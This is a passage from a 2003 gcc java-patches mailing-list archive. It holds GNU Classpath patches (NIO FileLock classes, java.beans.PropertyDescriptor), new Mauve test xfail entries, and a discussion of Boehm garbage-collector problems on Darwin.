Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package gnu.java.nio; + +import java.nio.channels.FileChannel; +import java.nio.channels.FileLock; + +/** + * @author Michael Koch + */ +public class FileLockImpl extends FileLock +{ + public FileLockImpl (FileChannel channel, long position, long size, + boolean shared) + { + super (channel, position, size, shared); + } + + public boolean isValid () + { + throw new Error ("Not implemented"); + } + + public void release () + { + throw new Error ("Not implemented"); + } +} Index: java/nio/channels/FileLock.java =================================================================== RCS file: java/nio/channels/FileLock.java diff -N java/nio/channels/FileLock.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/nio/channels/FileLock.java 7 Feb 2003 10:22:36 -0000 @@ -0,0 +1,137 @@ +/* FileLock.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.nio.channels; + +import java.io.IOException; + +/** + * @since 1.4 + */ +public abstract class FileLock +{ + FileChannel channel; + long position; + long size; + boolean shared; + + /** + * Initializes the file lock. + * + * @exception IllegalArgumentException If the preconditions on the parameters do not hold + */ + protected FileLock (FileChannel channel, long position, long size, + boolean shared) + { + if (position < 0 || + size < 0) + throw new IllegalArgumentException (); + + this.channel = channel; + this.position = position; + this.size = size; + this.shared = shared; + } + + /** + * Tells whether or not this lock is valid. + */ + public abstract boolean isValid(); + + /** + * Releases this lock. + * + * @exception IOException If an error occurs + * @exception ClosedChannelException If the locked channel is no longer open. + */ + public abstract void release () throws IOException; + + /** + * Returns the file channel upon whose file this lock is held. + */ + public final FileChannel channel () + { + return channel; + } + + /** + * Tells whether this lock is shared. + */ + public final boolean isShared () + { + return shared; + } + + /** + * Tells whether or not this lock overlaps the given lock range. + */ + public final boolean overlaps (long position, long size) + { + if (position > this.position +this.size) + return false; + + if (position + size < this.position) + return false; + + return true; + } + + /** + * Returns the position within the file of the first byte of the + * locked region. + */ + public final long position () + { + return position; + } + + /** + * Returns the size of the locked region in bytes. + */ + public final long size () + { + return size; + } + + /** + * Returns a string describing the range, type, and validity of this lock. + */ + public final String toString () + { + return "file-lock:pos=" + position + "size=" + size; + } +} --Boundary-00=_Fu4Q+4v7Z1Dl3Kr-- From java-patches-return-6025-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 17:07:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30764 invoked by alias); 7 Feb 2003 17:07:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30741 invoked from network); 7 Feb 2003 17:07:27 -0000 Received: from unknown (HELO phobos.hpl.hp.com) (192.6.19.124) by 172.16.49.205 with SMTP; 7 Feb 2003 17:07:27 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by phobos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id IAA12660 for ; Fri, 7 Feb 2003 08:58:03 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h17Gw1T11550; Fri, 7 Feb 2003 08:58:02 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 07 Feb 2003 08:58:00 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <1DAKLPP7>; Fri, 7 Feb 2003 08:58:00 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA13678@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Andreas Tobler'" , "Boehm, Hans" Cc: java-patches Subject: RE: [PATCH] undef MPROTECT_VDB for darwin? Date: Fri, 7 Feb 2003 08:57:59 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MailScanner: Found to be clean That's fine. Andrew and Tom had concluded that it would make sense to reintegrate my latest tree into the gcc tree. But it wasn't completely clear that someone with the right CVS expertise had the time to do so. This would also get fixed as part of such a merge. There are of course still problems with Darwin threads and dynamic libraries ... Hans > -----Original Message----- > From: Andreas Tobler [mailto:toa@pop.agri.ch] > Sent: Thursday, February 06, 2003 9:46 PM > To: Boehm, Hans > Cc: java-patches > Subject: [PATCH] undef MPROTECT_VDB for darwin? > > > Hello Hans, > > may I apply the following patch to gcc 3.3 and 3.4? > > Or do you plan to import the latest sources soon? I vaguely remember > that you don't do so on 3.3? > > It would make darwin build libgcj with less problems. > > Thanks, > Andreas > > RCS file: /cvs/gcc/gcc/boehm-gc/include/private/gcconfig.h,v > retrieving revision 1.26 > diff -u -r1.26 gcconfig.h > --- include/private/gcconfig.h 2 Oct 2002 06:25:37 -0000 1.26 > +++ include/private/gcconfig.h 7 Feb 2003 05:40:56 -0000 > @@ -685,7 +685,7 @@ > # define DATASTART ((ptr_t) get_etext()) > # define STACKBOTTOM ((ptr_t) 0xc0000000) > # define DATAEND /* not needed */ > -# define MPROTECT_VDB > +# undef MPROTECT_VDB > # include > # define GETPAGESIZE() getpagesize() > # endif > From java-patches-return-6026-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 17:23:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3772 invoked by alias); 7 Feb 2003 17:23:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3760 invoked from network); 7 Feb 2003 17:23:25 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 7 Feb 2003 17:23:25 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E4318FD00006A39; Fri, 7 Feb 2003 18:23:03 +0100 Message-ID: <3E43EB71.1020207@pop.agri.ch> Date: Fri, 07 Feb 2003 18:22:57 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Boehm, Hans" CC: java-patches Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? References: <75A9FEBA25015040A761C1F74975667DA13678@hplex4.hpl.hp.com> In-Reply-To: <75A9FEBA25015040A761C1F74975667DA13678@hplex4.hpl.hp.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Boehm, Hans wrote: > That's fine. Andrew and Tom had concluded that it would make sense to reintegrate my latest tree into the gcc tree. But it wasn't completely clear that someone with the right CVS expertise had the time to do so. This would also get fixed as part of such a merge. > > There are of course still problems with Darwin threads and dynamic libraries ... Hm, do they really plan also on 3.3? If not it would be a little step towards a cleaning up. I know there are things with darwin, at least I tried the latest tar and the dylib was built :) On some libgcj testcases I get spurious failures which end in boehm-gc. FileHandleGcTest. I could help testing if you need some results. So I wait until this merge will happen. Thanks, Andreas From java-patches-return-6027-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 17:42:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12983 invoked by alias); 7 Feb 2003 17:42:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12963 invoked from network); 7 Feb 2003 17:42:28 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 7 Feb 2003 17:42:28 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18hCVw-0006kV-00 for ; Fri, 07 Feb 2003 18:42:12 +0100 Subject: FYI: New Mauve xfails From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-i+C9NCEm8r0ySR0B0xTU" Organization: Message-Id: <1044639743.23045.42.camel@elsschot> Mime-Version: 1.0 Date: 07 Feb 2003 18:42:25 +0100 --=-i+C9NCEm8r0ySR0B0xTU Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, I am going to commit the following to the branch and mainline for the newly introduced java.text.CollationElementIterator tests in Mauve. Since the tests are new this isn't a regression but I have filed a but for it #9613. I am trying to get the number of unexpected failures for Mauve down (hopefully to zero) before the release. Either by filing bugs and adding xfails or hopefully by actually solving them (Classpath already has some patches that solve a large number). 2003-02-07 Mark Wielaard * libjava.mauve/xfails: Add new entries for gnu.testlet.java.text.CollationElementIterator.jdk11 Cheers, Mark --=-i+C9NCEm8r0ySR0B0xTU Content-Disposition: inline; filename=fails.diff Content-Type: text/x-patch; name=fails.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: libjava.mauve/xfails =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/xfails,v retrieving revision 1.10 diff -u -r1.10 xfails --- libjava.mauve/xfails 1 Dec 2002 15:50:33 -0000 1.10 +++ libjava.mauve/xfails 7 Feb 2003 17:42:07 -0000 @@ -37,6 +37,40 @@ FAIL: gnu.testlet.java.text.SimpleDateFormat.regress: EST (number 1) FAIL: gnu.testlet.java.text.SimpleDateFormat.regress: PDT (number 1) FAIL: gnu.testlet.java.text.DateFormatSymbols.Test: invalid locale (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: CollationElementIterator (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 0 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 1 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 10 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 11 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 12 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 13 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 2 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 3 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 4 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 5 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 6 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 7 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 8 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: next() 9 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 0 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 1 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 10 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 11 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 12 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 13 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 2 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 3 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 4 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 5 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 6 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 7 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: primaryOrder() 8 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: secondaryOrder() 12 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: secondaryOrder() 4 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: secondaryOrder() 5 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: secondaryOrder() 7 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: secondaryOrder() 9 (number 1) +FAIL: gnu.testlet.java.text.CollationElementIterator.jdk11: tertiaryOrder() 10 (number 1) FAIL: gnu.testlet.java.net.ServerSocket.ServerSocketTest: Error : test_params failed - 5getInetAddress did not return proper values (number 1) FAIL: gnu.testlet.java.net.Socket.SocketTest: Error : test_BasicServer failed - 11 exception was thrown :Illegal seek (number 1) FAIL: gnu.testlet.java.net.URLConnection.URLConnectionTest: Error in test_Basics - 2 should not have raised Throwable here (number 1) --=-i+C9NCEm8r0ySR0B0xTU-- From java-patches-return-6028-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 17:48:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15508 invoked by alias); 7 Feb 2003 17:48:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15501 invoked from network); 7 Feb 2003 17:48:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 7 Feb 2003 17:48:05 -0000 Received: from fleche.redhat.com (tz0185.peakpeak.com [207.174.69.185]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA03137; Fri, 7 Feb 2003 10:48:04 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id CC6D34F82DD; Fri, 7 Feb 2003 10:37:01 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: FYI: New Mauve xfails References: <1044639743.23045.42.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: ONE: I will donate my entire ``BABY HUEY'' comic book collection to the downtown PLASMA CENTER.. TWO: I won't START a BAND called ``KHADAFY & THE HIT SQUAD''.. THREE: I won't ever TUMBLE DRY my FOX TERRIER again!! Date: 07 Feb 2003 10:37:01 -0700 In-Reply-To: <1044639743.23045.42.camel@elsschot> Message-ID: <87adh89ema.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Mark> I am trying to get the number of unexpected failures for Mauve Mark> down (hopefully to zero) before the release. Either by filing Mark> bugs and adding xfails or hopefully by actually solving them Mark> (Classpath already has some patches that solve a large number). Thanks Mark. I'm going to list you on the 3.3 status page as handling Mauve. Tom From java-patches-return-6029-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 17:55:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22523 invoked by alias); 7 Feb 2003 17:55:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22516 invoked from network); 7 Feb 2003 17:55:10 -0000 Received: from unknown (HELO phobos.hpl.hp.com) (192.6.19.124) by 172.16.49.205 with SMTP; 7 Feb 2003 17:55:10 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by phobos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id JAA20302; Fri, 7 Feb 2003 09:43:22 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h17HhLT13944; Fri, 7 Feb 2003 09:43:21 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 07 Feb 2003 09:43:20 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <1DAKLQH7>; Fri, 7 Feb 2003 09:43:19 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA13679@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Andreas Tobler'" , "Boehm, Hans" Cc: java-patches Subject: RE: [PATCH] undef MPROTECT_VDB for darwin? Date: Fri, 7 Feb 2003 09:43:20 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MailScanner: Found to be clean The collector does not currently scan data segments associated with dynamic libraries on Darwin. (DYNAMIC_LOADING is not defined, and the support code in dyn_load.c is missing, since it's apparently not an ELF platform.) Thus I doubt that any dynamically linked or multithreaded gcj-compiled code could run reliably on Darwin. I suspect the test cases that do run are short enough not to need the GC, or they get very lucky. Single-threaded, statically-linked code may be reliable. For anything else, you're currently better off turning off the garbage collector (either at compile time, or with the environment variable). The dynamic library issue fundamentally requires functionality similar to dl_iterate_phdr() in glibc. Patches are welcome. Hans > -----Original Message----- > From: Andreas Tobler [mailto:toa@pop.agri.ch] > Sent: Friday, February 07, 2003 9:23 AM > To: Boehm, Hans > Cc: java-patches > Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? > > > Boehm, Hans wrote: > > That's fine. Andrew and Tom had concluded that it would > make sense to reintegrate my latest tree into the gcc tree. > But it wasn't completely clear that someone with the right > CVS expertise had the time to do so. This would also get > fixed as part of such a merge. > > > > There are of course still problems with Darwin threads and > dynamic libraries ... > > > Hm, do they really plan also on 3.3? If not it would be a little step > towards a cleaning up. > > I know there are things with darwin, at least I tried the > latest tar and > the dylib was built :) > > On some libgcj testcases I get spurious failures which end in > boehm-gc. > FileHandleGcTest. > > I could help testing if you need some results. > > So I wait until this merge will happen. > > Thanks, > Andreas > > > From java-patches-return-6030-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 19:31:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31422 invoked by alias); 7 Feb 2003 19:31:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31410 invoked from network); 7 Feb 2003 19:30:59 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 7 Feb 2003 19:30:59 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18hECw-0006ve-00 for ; Fri, 07 Feb 2003 20:30:42 +0100 Subject: FYI: java.beans.PropertyDescriptor remerge with Classpath From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-g0ER+R+ItrGWSOZitW6C" Organization: Message-Id: <1044646256.23018.52.camel@elsschot> Mime-Version: 1.0 Date: 07 Feb 2003 20:30:56 +0100 --=-g0ER+R+ItrGWSOZitW6C Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, I am committing the following patch (actually two, one reformatiing and one actual change) to branch and mainline. This imports the changes from the Classpath tree and solves the Mauve failures in java.beans. 2003-02-07 Stephen Crawley * java/beans/PropertyDescriptor.java (PropertyDescriptor(String, Class)): Sanity check getter and setter methods. (PropertyDescriptor(String, Class, String, String)): Likewise. (PropertyDescriptor(String, Method, Method): Factor out getter and setter method sanity checks into new method. (findMethods): Don't do parameter sanity checking of get method here. (checkMethods): New method. 2003-02-07 Stephen Crawley * java/beans/PropertyDescriptor.java: Reformat. Cheers, Mark --=-g0ER+R+ItrGWSOZitW6C Content-Disposition: inline; filename=PropertyDescriptor.change.diff Content-Type: text/plain; name=PropertyDescriptor.change.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit --- java/beans/PropertyDescriptor.java.reformated 2003-02-07 17:04:15.000000000 +0100 +++ java/beans/PropertyDescriptor.java.new 2003-02-07 16:27:06.000000000 +0100 @@ -86,39 +86,35 @@ ** <beanClass>, where <name> has its ** first letter capitalized by the constructor.

** - ** Implementation note: If there is a get method (or - ** boolean isXXX() method), then the return type of that method - ** is used to find the set method. If there is no get method, - ** then the set method is searched for exhaustively.

- ** - ** Spec note: - ** If there is no get method and multiple set methods with - ** the same name and a single parameter (different type of course), - ** then an IntrospectionException is thrown. While Sun's spec - ** does not state this, it can make Bean behavior different on - ** different systems (since method order is not guaranteed) and as - ** such, can be treated as a bug in the spec. I am not aware of - ** whether Sun's implementation catches this. + ** Implementation note: If there is both are both isXXX and + ** getXXX methods, the former is used in preference to the latter. + ** We do not check that an isXXX method returns a boolean. In both + ** cases, this matches the behaviour of JDK 1.4

** ** @param name the programmatic name of the property, usually ** starting with a lowercase letter (e.g. fooManChu ** instead of FooManChu). ** @param beanClass the class the get and set methods live in. - ** @exception IntrospectionException if the methods are not found or invalid. + ** @exception IntrospectionException if the methods are not found + ** or invalid. **/ public PropertyDescriptor(String name, Class beanClass) throws IntrospectionException { setName(name); - String capitalized; - try { - capitalized = Character.toUpperCase(name.charAt(0)) + name.substring(1); - } - catch (StringIndexOutOfBoundsException e) { - capitalized = ""; + if (name.length() == 0) { + throw new IntrospectionException("empty property name"); + } + String caps = Character.toUpperCase(name.charAt(0)) + name.substring(1); + findMethods(beanClass, "is" + caps, "get" + caps, "set" + caps); + if (getMethod == null) { + throw new IntrospectionException("Cannot find an is" + caps + + " or get" + caps + " method"); + } + if (setMethod == null) { + throw new IntrospectionException("Cannot find a " + caps + " method"); } - findMethods(beanClass, "is" + capitalized, "get" + capitalized, - "set" + capitalized); + checkMethods(); } /** Create a new PropertyDescriptor by introspection. @@ -154,6 +150,15 @@ { setName(name); findMethods(beanClass, getMethodName, null, setMethodName); + if (getMethod == null && getMethodName != null) { + throw new IntrospectionException("Cannot find a getter method called " + + getMethodName); + } + if (setMethod == null && setMethodName != null) { + throw new IntrospectionException("Cannot find a setter method called " + + setMethodName); + } + checkMethods(); } /** Create a new PropertyDescriptor using explicit Methods. @@ -172,35 +177,15 @@ throws IntrospectionException { setName(name); - if (getMethod != null && getMethod.getParameterTypes().length > 0) { - throw new IntrospectionException("get method has parameters"); - } - if (setMethod != null && setMethod.getParameterTypes().length != 1) { - String msg = "set method does not have exactly one parameter"; - throw new IntrospectionException(msg); - } - if (getMethod != null && setMethod != null) { - if (!getMethod.getReturnType(). - equals(setMethod.getParameterTypes()[0])) { - String msg = "set and get methods do not share the same type"; - throw new IntrospectionException(msg); - } - if ((!getMethod.getDeclaringClass(). - isAssignableFrom(setMethod.getDeclaringClass())) && - (!setMethod.getDeclaringClass(). - isAssignableFrom(getMethod.getDeclaringClass()))) { - String msg = "set and get methods are not in the same class."; - throw new IntrospectionException(msg); - } - } this.getMethod = getMethod; this.setMethod = setMethod; if (getMethod != null) { this.propertyType = getMethod.getReturnType(); } - else { + else if (setMethod != null) { this.propertyType = setMethod.getParameterTypes()[0]; } + checkMethods(); } /** Get the property type. @@ -295,89 +280,97 @@ throws IntrospectionException { try { + // Try the first get method name if (getMethodName1 != null) { try { getMethod = beanClass.getMethod(getMethodName1, new Class[0]); } - catch (NoSuchMethodException E) { + catch (NoSuchMethodException e) { } - if (getMethodName2 != null) { - if (getMethod != null && - !getMethod.getReturnType().equals(java.lang.Boolean.TYPE)) { - // If the is() method exists but isn't boolean, we'll just - // go on and look for an ordinary get() method. - getMethod = null; - } - - Method getMethod2; - try { - getMethod2 = beanClass.getMethod(getMethodName2, new Class[0]); - } - catch (NoSuchMethodException E) { - getMethod2 = null; - } - if (getMethod2 != null) { - if (getMethod != null) { - if (!getMethod.getReturnType(). - equals(getMethod2.getReturnType())) { - String msg = "Both " + getMethodName1 + - " and " + getMethodName2 + - " exist, and have contradictory return types."; - throw new IntrospectionException(msg); - } - } - else { - getMethod = getMethod2; - } - } + } + + // Fall back to the second get method name + if (getMethod == null && getMethodName2 != null) { + try { + getMethod = beanClass.getMethod(getMethodName2, new Class[0]); + } + catch (NoSuchMethodException e) { } } - - if (getMethod != null) { - propertyType = getMethod.getReturnType(); - if (setMethodName != null) { - Class[] setArgs = new Class[1]; - setArgs[0] = propertyType; + + // Try the set method name + if (setMethodName != null) { + if (getMethod != null) { + // If there is a get method, use its return type to help + // select the corresponding set method. + Class propertyType = getMethod.getReturnType(); + if (propertyType == Void.TYPE) { + String msg = "The property's read method has return type 'void'"; + throw new IntrospectionException(msg); + } + + Class[] setArgs = new Class[]{propertyType}; try { setMethod = beanClass.getMethod(setMethodName, setArgs); - if (!setMethod.getReturnType().equals(java.lang.Void.TYPE)) { - throw new IntrospectionException(setMethodName + - " has non-void return type"); - } } - catch (NoSuchMethodException E) { + catch (NoSuchMethodException e) { } } - } - else if (setMethodName != null) { - Method[] m = beanClass.getMethods(); - for(int i = 0; i < m.length; i++) { - Method current = m[i]; - if (current.getName().equals(setMethodName) && - current.getParameterTypes().length == 1 && - current.getReturnType().equals(java.lang.Void.TYPE)) { - if (setMethod != null) { - String msg = - "Multiple, different set methods found that fit the bill!"; - throw new IntrospectionException(msg); - } - else { - setMethod = current; - propertyType = current.getParameterTypes()[0]; + else if (getMethodName1 == null && getMethodName2 == null) { + // If this is a write-only property, choose the first set method + // with the required name, one parameter and return type 'void' + Method[] methods = beanClass.getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(setMethodName) && + methods[i].getParameterTypes().length == 1 && + methods[i].getReturnType() == Void.TYPE) { + setMethod = methods[i]; + break; } } } - if (setMethod == null) { - throw new IntrospectionException("Cannot find get or set methods."); - } - } - else { - throw new IntrospectionException("Cannot find get or set methods."); } } - catch (SecurityException E) { + catch (SecurityException e) { + // FIXME -- shouldn't we just allow SecurityException to propagate? String msg = "SecurityException thrown on attempt to access methods."; throw new IntrospectionException(msg); } } + + private void checkMethods() + throws IntrospectionException + { + if (getMethod != null) { + if (getMethod.getParameterTypes().length > 0) { + throw new IntrospectionException("get method has parameters"); + } + this.propertyType = getMethod.getReturnType(); + if (propertyType == Void.TYPE) { + throw new IntrospectionException("get method has void return type"); + } + } + if (setMethod != null) { + if (setMethod.getParameterTypes().length != 1) { + String msg = "set method does not have exactly one parameter"; + throw new IntrospectionException(msg); + } + if (getMethod == null) { + propertyType = setMethod.getParameterTypes()[0]; + } + else { + if (!propertyType.equals(setMethod.getParameterTypes()[0])) { + String msg = "set and get methods do not share the same type"; + throw new IntrospectionException(msg); + } + if ((!getMethod.getDeclaringClass(). + isAssignableFrom(setMethod.getDeclaringClass())) && + (!setMethod.getDeclaringClass(). + isAssignableFrom(getMethod.getDeclaringClass()))) { + String msg = "set and get methods are not in the same class."; + throw new IntrospectionException(msg); + } + } + } + } } --=-g0ER+R+ItrGWSOZitW6C Content-Disposition: inline; filename=PropertyDescriptor.reformat.diff Content-Type: text/plain; name=PropertyDescriptor.reformat.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit --- java/beans/PropertyDescriptor.java 2003-02-07 20:21:17.000000000 +0100 +++ java/beans/PropertyDescriptor.java.reformated 2003-02-07 17:04:15.000000000 +0100 @@ -65,280 +65,319 @@ **/ public class PropertyDescriptor extends FeatureDescriptor { - Class propertyType; - Method getMethod; - Method setMethod; - - Class propertyEditorClass; - boolean bound; - boolean constrained; - - PropertyDescriptor(String name) { - setName(name); 